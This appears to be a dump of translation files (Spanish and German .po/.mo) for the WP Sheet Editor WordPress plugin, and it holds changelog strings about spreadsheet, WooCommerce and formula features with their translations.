NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_MX.mo000064400000026437147600365160013461 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_MX MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-es_AR.po000064400000032041147600365160013426 0ustar00# Copyright (C) 2019 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.14.0\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "POT-Creation-Date: 2020-03-21T23:42:58+00:00\n" "PO-Revision-Date: 2020-12-30 10:36-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_AR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 2.4.2\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Nueva Característica: Ahora puedes añadir columnas personalizadas a la " "hoja fácilmente. Así puedes editar campos personalizados o añadidos por " "otros plugins. Ver tutorial rápido (2 minutos)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Nueva Característica: Se ha añadido compatibilidad con Multisitios de " "WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará " "con la red completa. Cada sitio tiene diferentes opciones.

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Nueva característica: Se ha añadido compatibilidad con WPBakery Page " "Builder. Ahora puedes editar el contenido del post usando el editor Live, el " "editor Backend o el editor Normal.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Nueva característica: Se ha añadido la compatibilidad con los Campos " "Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los " "campos de tus metaboxes personalizadas. Actualmente trabaja con campos " "básicos: texto, área de texto, tinymce, imagen.

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Nueva característica: WooCommerce - Se añadieron columnas: \"permitir " "pedidos pendientes\", \"es destacado\", \"gestionar existencias\", " "\"cantidad de existencias\".

" #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts " "que contengan una palabra clave específica en el título o contenido. Por " "ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra " "clave: \"Increíble\".

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar " "las columnas en la página de configuración por tipo de post.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido soporte para productos " "\"variables\" y todos sus campos.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna \"Editar " "Atributos\" para editar/crear atributos globales y personalizados.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Nueva característica: WooCommerce - Se ha añadido la columna " "\"shipping_class\".

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Nueva característica: Fórmulas - Permitir comodines en la fórmula " "REEMPLAZAR.

" #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar " "imágenes usando URLs.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas " "para crear fórmulas fácilmente.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Nueva característica: Visibilidad de las columnas - Se ha añadido la " "opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros " "productos

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para " "múltiples productos a la vez.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NUEVO - WooCommerce - Permite copiar archivos descargables de otro " "producto en un popup

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de " "WooCommerce.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida " "en la barra de herramientas para un acceso rápido.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula " "personalizada en cualquier tipo de campo.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos " "de post que te permite configurar rápidamente un tipo de post y columnas " "personalizadas.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples " "permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora " "de la velocidad.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para " "nuevos tipos de post.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !" "=, <, >, LIKE, etc.

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "" "

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

" #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se " "prepara la fórmula, no se encuentra ninguno.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de " "registrar la página de configuración, ignorando los tipos de post añadidos " "por el plugin \"Types\".

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna." #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-de_DE.po000064400000032042147600365160013376 0ustar00# Copyright (C) 2020 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.21.2.3\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "Language-Team: Hanno Bolte IT Consulting \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2020-10-20T18:04:36+00:00\n" "PO-Revision-Date: 2020-11-17 15:25+0100\n" "X-Generator: Poedit 2.4.2\n" "Last-Translator: Hanno Bolte \n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "Language: de_DE\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Massenweise Beiträge und Seiten mit Hilfe eines schönen Arbeitsblatts " "innerhalb von WordPress einfach bearbeiten." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Neue Funktion: Jetzt kannst du dem Arbeitsblatt problemlos " "benutzerdefinierte Spalten hinzufügen. Auf diese Weise kannst du " "benutzerdefinierte oder von Plugins hinzugefügte Felder bearbeiten. Schnelles Tutorial " "anzeigen (2 Minuten)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Neue Funktion: Kompatibilität mit WordPress Multisite hinzugefügt. Jetzt " "fügst du die Lizenz einmal hinzu und die Lizenz funktioniert mit dem " "gesamten Netzwerk. Jede Site hat unterschiedliche Einstellungen

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Neue Funktion: Kompatibilität mit WPBakery Page Builder hinzugefügt. " "Jetzt kannst du den Beitragsinhalt mit dem Live-Editor, Backend-Editor oder " "dem normalen Editor bearbeiten.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Neue Funktion: Kompatibilität mit Advanced Custom Fields hinzugefügt. " "Jetzt kannst du im Arbeitsblatt die Felder aus Ihren benutzerdefinierten " "Metaboxen bearbeiten. Im Moment ist dies möglich mit den Feldarten: Text, " "Textarea, Tinymce, Bild

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Neue Funktion: WooCommerce - Spalten hinzugefügt: \"Bestellrückstände " "zulassen\", \"ist empfohlen\", \"Lagerbestand verwalten\", \"Lagermenge\"." #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Neue Funktion: Filter - Jetzt kannst du Beiträge suchen / anzeigen, die " "ein bestimmtes Schlüsselwort im Titel oder Inhalt enthalten. Zeige z.B. im " "Arbeitsblatt die Beiträge an, in denen das Schlüsselwort \"Awesome\" erwähnt " "wird.

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Neue Funktion: Sichtbarkeit der Spalten - Jetzt kannst du die Spalten auf " "der Einstellungsseite nach Beitragstyp sortieren.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Neue Funktion: WooCommerce - Unterstützung für \"variable\" Produkte und " "alle ihre Felder hinzugefügt.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "

Neue Funktion: WooCommerce - Unterstützung für \"herunterladbare\" " "Produkte und alle ihre Felder hinzugefügt.

" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Neue Funktion: WooCommerce - Spalte \"Attribute bearbeiten\" zum " "Bearbeiten/Erstellen von benutzerdefinierten und globalen Attributen " "hinzugefügt.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Neue Funktion: WooCommerce - Spalte \"Versandklasse\" hinzugefügt.

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Neue Funktion: Formeln - Platzhalter in der REPLACE-Formel sind möglich." #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Neue Funktion: Formeln - Du kannst Bilder über URLs suchen und ersetzen " "oder speichern.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Neue Funktion: Formeln - Formeleditor zur einfachen Erstellung von " "Formeln hinzugefügt.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Neue Funktion: Sichtbarkeit von Spalten - Option zum Sortieren und " "Ausblenden von Spalten direkt im Arbeitsblatt hinzugefügt.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NEU - WooCommerce - Das Klonen von Varianten von einem Produkt auf andere " "Produkte ist möglich

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NEU - WooCommerce - Variante erstellen - Die gleichzeitige Erstellung von " "Varianten für mehrere Produkte ist möglich.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NEU - WooCommerce - Das Kopieren herunterladbarer Dateien von anderen " "Produkten im Popup ist möglich

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NEU - FORMELN - Ausführung von Formeln nur bei WooCommerce-Varianten " "ermöglichen.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NEU - BENUTZERDEFINIERTE SPALTEN - Schaltfläche zur Einstellungsseite in " "der Symbolleiste für schnellen Zugriff hinzugefügt.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEU - FORMELN - Option zum Ausführen benutzerdefinierter Formeln bei " "jedem Feldtyp hinzugefügt.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NEU - PRO - Einrichtungsassistent für Beitragsarten hinzugefügt, mit dem " "Sie eine Beitragsart und benutzerdefinierte Spalten schnell einrichten " "können.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NEU - FORMELN - Die Geschwindigkeit einfacher Formeln wurde verbessert, " "die es ermöglicht, Tausende von Beiträgen in wenigen Sekunden zu " "aktualisieren. Enorme Geschwindigkeitsverbesserung.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NEU - PRO - Option zum Erstellen neuer Arbeitsblätter für neue " "Beitragsarten hinzugefügt.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NEU - FILTER - Erweiterte Metafilter mit Operatoren wie =, !=, <, >, " "LIKE, usw. hinzugefügt

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "

FIX - WooCommerce - Variantentitel erscheinen leer.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FORMELN - Manchmal werden die letzten Beiträge nicht aktualisiert." #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FORMELN - Manchmal werden bei der Suche nach Beitrags-Begriffen " "während der Vorbereitung von Formeln keine gefunden.

" #: whats-new/2.0.0.php:17 msgid "" "

